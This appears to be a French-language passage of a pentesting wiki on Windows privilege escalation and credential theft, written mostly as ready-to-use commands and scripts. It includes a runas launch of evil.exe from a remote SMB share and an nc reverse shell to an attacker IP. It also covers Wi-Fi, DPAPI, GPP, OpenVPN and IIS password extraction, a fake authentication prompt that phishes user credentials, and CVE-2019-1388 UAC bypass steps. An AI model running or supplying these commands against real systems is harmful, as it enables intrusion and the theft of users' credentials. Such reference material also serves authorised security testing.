À moins que les applications n'interagissent avec le Gestionnaire d'identifiants, je ne pense pas qu'il soit possible pour elles d'utiliser les identifiants pour une ressource donnée. Donc, si votre application souhaite utiliser le coffre, elle doit d'une manière ou d'une autre communiquer avec le gestionnaire d'identifiants et demander les identifiants pour cette ressource depuis le coffre de stockage par défaut.

Utilisez cmdkey pour lister les identifiants stockés sur la machine.

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

Ensuite, vous pouvez utiliser runas avec l'option /savecred afin d'utiliser les identifiants enregistrés. L'exemple suivant appelle un binaire distant via un partage SMB.

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

Utiliser runas avec un ensemble de credentials fourni.

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Notez que mimikatz, lazagne, credentialfileview, VaultPasswordView, ou depuis le module Empire Powershell.

DPAPI

L'API de protection des données (DPAPI) fournit une méthode pour le chiffrement symétrique des données, principalement utilisée au sein du système d'exploitation Windows pour le chiffrement symétrique des clés privées asymétriques. Ce chiffrement s'appuie sur un secret utilisateur ou système pour contribuer de manière significative à l'entropie.

DPAPI permet le chiffrement des clés à travers une clé symétrique dérivée des secrets de connexion de l'utilisateur. Dans les scénarios impliquant le chiffrement système, elle utilise les secrets d'authentification de domaine du système.

Les clés RSA utilisateur chiffrées, en utilisant DPAPI, sont stockées dans le répertoire %APPDATA%\Microsoft\Protect\{SID}, où {SID} représente l'Identifiant de sécurité de l'utilisateur. La clé DPAPI, co-localisée avec la clé maîtresse qui protège les clés privées de l'utilisateur dans le même fichier, consiste généralement en 64 octets de données aléatoires. (Il est important de noter que l'accès à ce répertoire est restreint, empêchant l'affichage de son contenu via la commande dir dans CMD, bien qu'il puisse être listé via PowerShell).

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

Vous pouvez utiliser le module mimikatz dpapi::masterkey avec les arguments appropriés (/pvk ou /rpc) pour le déchiffrer.

Les fichiers d'identifiants protégés par le mot de passe principal se trouvent généralement dans :

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Vous pouvez utiliser le module mimikatz dpapi::cred avec le /masterkey approprié pour déchiffrer.
Vous pouvez extraire de nombreux DPAPI masterkeys de la mémoire avec le module sekurlsa::dpapi (si vous êtes root).

{% content-ref url="dpapi-extracting-passwords.md" %} dpapi-extracting-passwords.md {% endcontent-ref %}

Identifiants PowerShell

Les identifiants PowerShell sont souvent utilisés pour des scripts et des tâches d'automatisation comme moyen de stocker des identifiants chiffrés de manière pratique. Les identifiants sont protégés par DPAPI, ce qui signifie généralement qu'ils ne peuvent être déchiffrés que par le même utilisateur sur le même ordinateur où ils ont été créés.

Pour déchiffrer des identifiants PS à partir du fichier qui les contient, vous pouvez faire :

PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

Wifi

#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

Connexions RDP Enregistrées

Vous pouvez les trouver dans HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
et dans HKCU\Software\Microsoft\Terminal Server Client\Servers\

Commandes Récemment Exécutées

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Gestionnaire d'identifiants de Bureau à distance

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Utilisez le module Mimikatz dpapi::rdg avec le /masterkey approprié pour décrypter tous les fichiers .rdg
Vous pouvez extraire de nombreuses clés maîtresses DPAPI de la mémoire avec le module Mimikatz sekurlsa::dpapi

Sticky Notes

Les gens utilisent souvent l'application StickyNotes sur les stations de travail Windows pour enregistrer des mots de passe et d'autres informations, sans réaliser qu'il s'agit d'un fichier de base de données. Ce fichier se trouve à C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite et vaut toujours la peine d'être recherché et examiné.

AppCmd.exe

Notez que pour récupérer des mots de passe à partir d'AppCmd.exe, vous devez être Administrateur et exécuter sous un niveau d'intégrité élevé.
AppCmd.exe se trouve dans le répertoire %systemroot%\system32\inetsrv\ .
Si ce fichier existe, il est possible que certaines informations d'identification aient été configurées et puissent être récupérées.

Ce code a été extrait de PowerUP:

function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

Vérifiez si C:\Windows\CCM\SCClient.exe existe.
Les installateurs sont exécutés avec des privilèges SYSTEM, beaucoup sont vulnérables à DLL Sideloading (Info de https://github.com/enjoiz/Privesc).

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

Fichiers et Registre (Identifiants)

Identifiants Putty

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Clés d'hôte SSH Putty

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

Clés SSH dans le registre

Les clés privées SSH peuvent être stockées dans la clé de registre HKCU\Software\OpenSSH\Agent\Keys, vous devriez donc vérifier s'il y a quelque chose d'intéressant là-dedans :

reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

Si vous trouvez une entrée dans ce chemin, il s'agira probablement d'une clé SSH sauvegardée. Elle est stockée de manière chiffrée mais peut être facilement déchiffrée en utilisant https://github.com/ropnop/windows_sshagent_extract.
Plus d'informations sur cette technique ici : https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

Si le service ssh-agent n'est pas en cours d'exécution et que vous souhaitez qu'il démarre automatiquement au démarrage, exécutez :

Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

{% hint style="info" %} Il semble que cette technique ne soit plus valide. J'ai essayé de créer des clés ssh, de les ajouter avec ssh-add et de me connecter via ssh à une machine. Le registre HKCU\Software\OpenSSH\Agent\Keys n'existe pas et procmon n'a pas identifié l'utilisation de dpapi.dll lors de l'authentification par clé asymétrique. {% endhint %}

Fichiers non surveillés

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Vous pouvez également rechercher ces fichiers en utilisant metasploit : post/windows/gather/enum_unattend

Exemple de contenu :

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

Sauvegardes SAM & SYSTEM

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Identifiants Cloud

#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

Recherchez un fichier appelé SiteList.xml

Cached GPP Pasword

Une fonctionnalité était auparavant disponible qui permettait le déploiement de comptes administrateurs locaux personnalisés sur un groupe de machines via les Préférences de stratégie de groupe (GPP). Cependant, cette méthode avait des failles de sécurité significatives. Premièrement, les Objets de stratégie de groupe (GPO), stockés sous forme de fichiers XML dans SYSVOL, pouvaient être accessibles par tout utilisateur de domaine. Deuxièmement, les mots de passe contenus dans ces GPP, chiffrés avec AES256 en utilisant une clé par défaut documentée publiquement, pouvaient être déchiffrés par tout utilisateur authentifié. Cela représentait un risque sérieux, car cela pouvait permettre aux utilisateurs d'obtenir des privilèges élevés.

Pour atténuer ce risque, une fonction a été développée pour scanner les fichiers GPP mis en cache localement contenant un champ "cpassword" qui n'est pas vide. Lorsqu'un tel fichier est trouvé, la fonction déchiffre le mot de passe et renvoie un objet PowerShell personnalisé. Cet objet inclut des détails sur le GPP et l'emplacement du fichier, aidant à l'identification et à la remédiation de cette vulnérabilité de sécurité.

Recherchez dans C:\ProgramData\Microsoft\Group Policy\history ou dans C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (avant W Vista) ces fichiers :

• Groups.xml
• Services.xml
• Scheduledtasks.xml
• DataSources.xml
• Printers.xml
• Drives.xml

Pour déchiffrer le cPassword :

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

Utiliser crackmapexec pour obtenir les mots de passe :

crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

Configuration Web IIS

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Exemple de web.config avec des identifiants :

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

Identifiants OpenVPN

Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

Journaux

# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Demander des identifiants

Vous pouvez toujours demander à l'utilisateur de saisir ses identifiants ou même les identifiants d'un autre utilisateur si vous pensez qu'il peut les connaître (notez que demander directement au client les identifiants est vraiment risqué):

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

Noms de fichiers possibles contenant des identifiants

Fichiers connus qui contenaient il y a quelque temps des mots de passe en texte clair ou en Base64

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

Recherchez tous les fichiers proposés :

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"

Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

Credentials in the RecycleBin

Vous devriez également vérifier la Corbeille pour rechercher des identifiants à l'intérieur.

Pour récupérer des mots de passe enregistrés par plusieurs programmes, vous pouvez utiliser : http://www.nirsoft.net/password_recovery_tools.html

Inside the registry

Autres clés de registre possibles avec des identifiants

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Extraire les clés openssh du registre.

Historique des navigateurs

Vous devez vérifier les bases de données où les mots de passe de Chrome ou Firefox sont stockés.
Vérifiez également l'historique, les signets et les favoris des navigateurs, car certains mots de passe sont peut-être stockés là.

Outils pour extraire les mots de passe des navigateurs :

• Mimikatz : dpapi::chrome
• SharpWeb
• SharpChromium
• SharpDPAPI

Écrasement de DLL COM

Component Object Model (COM) est une technologie intégrée dans le système d'exploitation Windows qui permet l'intercommunication entre des composants logiciels de différentes langues. Chaque composant COM est identifié par un ID de classe (CLSID) et chaque composant expose des fonctionnalités via une ou plusieurs interfaces, identifiées par des IDs d'interface (IIDs).

Les classes et interfaces COM sont définies dans le registre sous HKEY_CLASSES_ROOT\CLSID et HKEY_CLASSES_ROOT\Interface respectivement. Ce registre est créé en fusionnant HKEY_LOCAL_MACHINE\Software\Classes + HKEY_CURRENT_USER\Software\Classes = HKEY_CLASSES_ROOT.

À l'intérieur des CLSID de ce registre, vous pouvez trouver le registre enfant InProcServer32 qui contient une valeur par défaut pointant vers une DLL et une valeur appelée ThreadingModel qui peut être Apartment (Monothread), Free (Multithread), Both (Monothread ou Multithread) ou Neutral (Thread Neutre).

Fondamentalement, si vous pouvez écraser l'une des DLL qui vont être exécutées, vous pourriez escalader les privilèges si cette DLL doit être exécutée par un utilisateur différent.

Pour apprendre comment les attaquants utilisent le détournement COM comme mécanisme de persistance, consultez :

{% content-ref url="com-hijacking.md" %} com-hijacking.md {% endcontent-ref %}

Recherche de mots de passe génériques dans les fichiers et le registre

Rechercher dans le contenu des fichiers

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Rechercher un fichier avec un certain nom de fichier

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

Recherchez dans le registre les noms de clés et les mots de passe

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

Outils qui recherchent des mots de passe

MSF-Credentials Plugin est un plugin msf que j'ai créé pour exécuter automatiquement chaque module POST de metasploit qui recherche des identifiants à l'intérieur de la victime.
Winpeas recherche automatiquement tous les fichiers contenant des mots de passe mentionnés sur cette page.
Lazagne est un autre excellent outil pour extraire des mots de passe d'un système.

L'outil SessionGopher recherche des sessions, des noms d'utilisateur et des mots de passe de plusieurs outils qui enregistrent ces données en texte clair (PuTTY, WinSCP, FileZilla, SuperPuTTY et RDP)

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Gestionnaires de fuites

Imaginez qu'un processus s'exécutant en tant que SYSTEM ouvre un nouveau processus (OpenProcess()) avec un accès complet. Le même processus crée également un nouveau processus (CreateProcess()) avec des privilèges faibles mais héritant de tous les gestionnaires ouverts du processus principal.
Ensuite, si vous avez un accès complet au processus à faibles privilèges, vous pouvez saisir le gestionnaire ouvert vers le processus privilégié créé avec OpenProcess() et injecter un shellcode.
Lisez cet exemple pour plus d'informations sur comment détecter et exploiter cette vulnérabilité.
Lisez ce autre article pour une explication plus complète sur la façon de tester et d'abuser de plus de gestionnaires ouverts de processus et de threads hérités avec différents niveaux de permissions (pas seulement un accès complet).

Usurpation d'identité de client de pipe nommé

Les segments de mémoire partagée, appelés pipes, permettent la communication entre processus et le transfert de données.

Windows fournit une fonctionnalité appelée Named Pipes, permettant à des processus non liés de partager des données, même sur différents réseaux. Cela ressemble à une architecture client/serveur, avec des rôles définis comme serveur de pipe nommé et client de pipe nommé.

Lorsque des données sont envoyées par un client à travers un pipe, le serveur qui a configuré le pipe a la capacité de prendre l'identité du client, à condition qu'il dispose des droits nécessaires SeImpersonate. Identifier un processus privilégié qui communique via un pipe que vous pouvez imiter offre une opportunité de gagner des privilèges plus élevés en adoptant l'identité de ce processus une fois qu'il interagit avec le pipe que vous avez établi. Pour des instructions sur l'exécution d'une telle attaque, des guides utiles peuvent être trouvés ici et ici.

De plus, l'outil suivant permet de intercepter une communication de pipe nommé avec un outil comme burp : https://github.com/gabriel-sztejnworcel/pipe-intercept et cet outil permet de lister et de voir tous les pipes pour trouver des privescs https://github.com/cyberark/PipeViewer

Divers

Surveillance des lignes de commande pour les mots de passe

Lorsqu'on obtient un shell en tant qu'utilisateur, il peut y avoir des tâches planifiées ou d'autres processus en cours d'exécution qui passent des identifiants sur la ligne de commande. Le script ci-dessous capture les lignes de commande des processus toutes les deux secondes et compare l'état actuel avec l'état précédent, affichant les différences.

while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Vol de mots de passe à partir de processus

De l'utilisateur à faible privilège à NT\AUTHORITY SYSTEM (CVE-2019-1388) / Contournement de l'UAC

Si vous avez accès à l'interface graphique (via console ou RDP) et que l'UAC est activé, dans certaines versions de Microsoft Windows, il est possible d'exécuter un terminal ou tout autre processus tel que "NT\AUTHORITY SYSTEM" à partir d'un utilisateur non privilégié.

Cela permet d'escalader les privilèges et de contourner l'UAC en même temps avec la même vulnérabilité. De plus, il n'est pas nécessaire d'installer quoi que ce soit et le binaire utilisé pendant le processus est signé et émis par Microsoft.

Certains des systèmes affectés sont les suivants :

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

Pour exploiter cette vulnérabilité, il est nécessaire d'effectuer les étapes suivantes :

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

Vous avez tous les fichiers et informations nécessaires dans le dépôt GitHub suivant :

https://github.com/jas502n/CVE-2019-1388

De niveau d'intégrité moyen à élevé / Contournement de l'UAC

Lisez ceci pour en savoir plus sur les niveaux d'intégrité :

{% content-ref url="integrity-levels.md" %} integrity-levels.md {% endcontent-ref %}

Ensuite, lisez ceci pour en savoir plus sur l'UAC et les contournements de l'UAC :

{% content-ref url="../authentication-credentials-uac-and-efs/uac-user-account-control.md" %} uac-user-account-control.md {% endcontent-ref %}

De l'intégrité élevée au système

Nouveau service

Si vous exécutez déjà un processus à haute intégrité, le passage au SYSTÈME peut être facile en créant et en exécutant un nouveau service :

sc create newservicename binPath= "C:\windows\system32\notepad.exe"
sc start newservicename

AlwaysInstallElevated

Depuis un processus à haute intégrité, vous pourriez essayer d'activer les entrées de registre AlwaysInstallElevated et installer un reverse shell en utilisant un .msi wrapper.
Plus d'informations sur les clés de registre impliquées et comment installer un paquet .msi ici.

High + SeImpersonate privilege to System

Vous pouvez trouver le code ici.

From SeDebug + SeImpersonate to Full Token privileges

Si vous avez ces privilèges de jeton (vous les trouverez probablement dans un processus déjà à haute intégrité), vous pourrez ouvrir presque n'importe quel processus (pas de processus protégés) avec le privilège SeDebug, copier le jeton du processus, et créer un processus arbitraire avec ce jeton.
Utiliser cette technique consiste généralement à sélectionner n'importe quel processus s'exécutant en tant que SYSTEM avec tous les privilèges de jeton (oui, vous pouvez trouver des processus SYSTEM sans tous les privilèges de jeton).
Vous pouvez trouver un exemple de code exécutant la technique proposée ici.

Named Pipes

Cette technique est utilisée par meterpreter pour escalader dans getsystem. La technique consiste à créer un pipe puis créer/abuser un service pour écrire sur ce pipe. Ensuite, le serveur qui a créé le pipe en utilisant le privilège SeImpersonate pourra imiter le jeton du client du pipe (le service) obtenant des privilèges SYSTEM.
Si vous voulez en savoir plus sur les pipes nommés, vous devriez lire ceci.
Si vous voulez lire un exemple de comment passer d'une haute intégrité à System en utilisant des pipes nommés, vous devriez lire ceci.

Dll Hijacking

Si vous parvenez à détourner une dll étant chargée par un processus s'exécutant en tant que SYSTEM, vous pourrez exécuter du code arbitraire avec ces permissions. Par conséquent, le Dll Hijacking est également utile pour ce type d'escalade de privilèges, et, de plus, il est beaucoup plus facile à réaliser depuis un processus à haute intégrité car il aura des permissions d'écriture sur les dossiers utilisés pour charger des dlls.
Vous pouvez en savoir plus sur le Dll hijacking ici.

From Administrator or Network Service to System

{% embed url="https://github.com/sailay1996/RpcSsImpersonator" %}

From LOCAL SERVICE or NETWORK SERVICE to full privs

Lire : https://github.com/itm4n/FullPowers

More help

Static impacket binaries

Useful tools

Meilleur outil pour rechercher des vecteurs d'escalade de privilèges locaux Windows : WinPEAS

PS

PrivescCheck
PowerSploit-Privesc(PowerUP) -- Vérifiez les erreurs de configuration et les fichiers sensibles (vérifiez ici). Détecté.
JAWS -- Vérifiez certaines erreurs de configuration possibles et recueillez des informations (vérifiez ici).
privesc -- Vérifiez les erreurs de configuration
SessionGopher -- Il extrait les informations de session enregistrées de PuTTY, WinSCP, SuperPuTTY, FileZilla et RDP. Utilisez -Thorough en local.
Invoke-WCMDump -- Extrait les identifiants du Gestionnaire d'identifiants. Détecté.
DomainPasswordSpray -- Pulvérisez les mots de passe recueillis sur le domaine
Inveigh -- Inveigh est un outil de spoofing et d'homme du milieu PowerShell ADIDNS/LLMNR/mDNS/NBNS.
WindowsEnum -- Énumération de base des privesc Windows
Sherlock ~~~~ -- Recherche de vulnérabilités privesc connues (DÉPRÉCIÉ pour Watson)
WINspect -- Vérifications locales (Nécessite des droits d'administrateur)

Exe

Watson -- Recherche de vulnérabilités privesc connues (doit être compilé avec VisualStudio) (précompilé)
SeatBelt -- Énumère l'hôte à la recherche d'erreurs de configuration (plus un outil de collecte d'informations qu'un privesc) (doit être compilé) (précompilé)
LaZagne -- Extrait des identifiants de nombreux logiciels (exe précompilé sur github)
SharpUP -- Port de PowerUp en C#
Beroot ~~~~ -- Vérifiez les erreurs de configuration (exécutable précompilé sur github). Pas recommandé. Cela ne fonctionne pas bien sur Win10.
Windows-Privesc-Check -- Vérifiez les erreurs de configuration possibles (exe de python). Pas recommandé. Cela ne fonctionne pas bien sur Win10.

Bat

winPEASbat -- Outil créé basé sur ce post (il n'a pas besoin de accesschk pour fonctionner correctement mais peut l'utiliser).

Local

Windows-Exploit-Suggester -- Lit la sortie de systeminfo et recommande des exploits fonctionnels (python local)
Windows Exploit Suggester Next Generation -- Lit la sortie de systeminfo et recommande des exploits fonctionnels (python local)

Meterpreter

multi/recon/local_exploit_suggestor

Vous devez compiler le projet en utilisant la version correcte de .NET (voir ceci). Pour voir la version installée de .NET sur l'hôte victime, vous pouvez faire :

C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line

Bibliographie

• http://www.fuzzysecurity.com/tutorials/16.html\
• http://www.greyhathacker.net/?p=738\
• http://it-ovid.blogspot.com/2012/02/windows-privilege-escalation.html\
• https://github.com/sagishahar/lpeworkshop\
